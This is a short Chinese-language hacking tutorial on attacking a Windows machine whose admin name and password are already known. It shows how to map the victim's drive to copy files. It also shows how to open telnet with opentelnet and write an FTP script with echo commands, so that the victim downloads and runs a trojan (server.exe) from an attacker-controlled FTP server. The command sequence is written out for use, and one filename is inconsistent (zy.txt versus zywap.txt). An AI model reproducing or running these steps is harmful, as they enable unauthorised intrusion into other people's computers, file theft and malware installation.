B、无外网ip（如小区宽带。。）
前提：取得对方的管理员名称和密码。
方法1
直接映射对方的根目录，用资源管理起直接象操作自己硬盘一样拷贝文件；
方法2
首先申请一可以上传下载的 ftp _blank>服务器
如申请了一ftp 服务器，地址为 111.111.111.111
用户名：test
密码：111
上传了木马等文件，如上传了server.exe
接着用opentelnet打开肉鸡telnet服务
用法：opentelnet \\肉鸡ip 肉鸡管理员名 密码 0 23
然后用telnet 肉鸡ip
在提示符下输入：
echo open 111.111.111.111>>zy.txt
echo test>>zywap.txt
echo 111>>zywap.txt
echo bin>>zywap.txt
echo get server.exe>>zywap.txt
还有其他想要传的文件几程序
echo bye>>zywap.txt
这样就在对方机子里见建立了一个zywap.txt 的文本文件
然后在提示符下输入命令：
ftp -s:zywap.txt
这样肉鸡就会从你的ftp 服务器上自动下载
最后直接执行即可
给一个ftp空间
我试过但有的时候得到的SHELL，不能执行。如果不能成功的话，也不要无数次的试哟！
|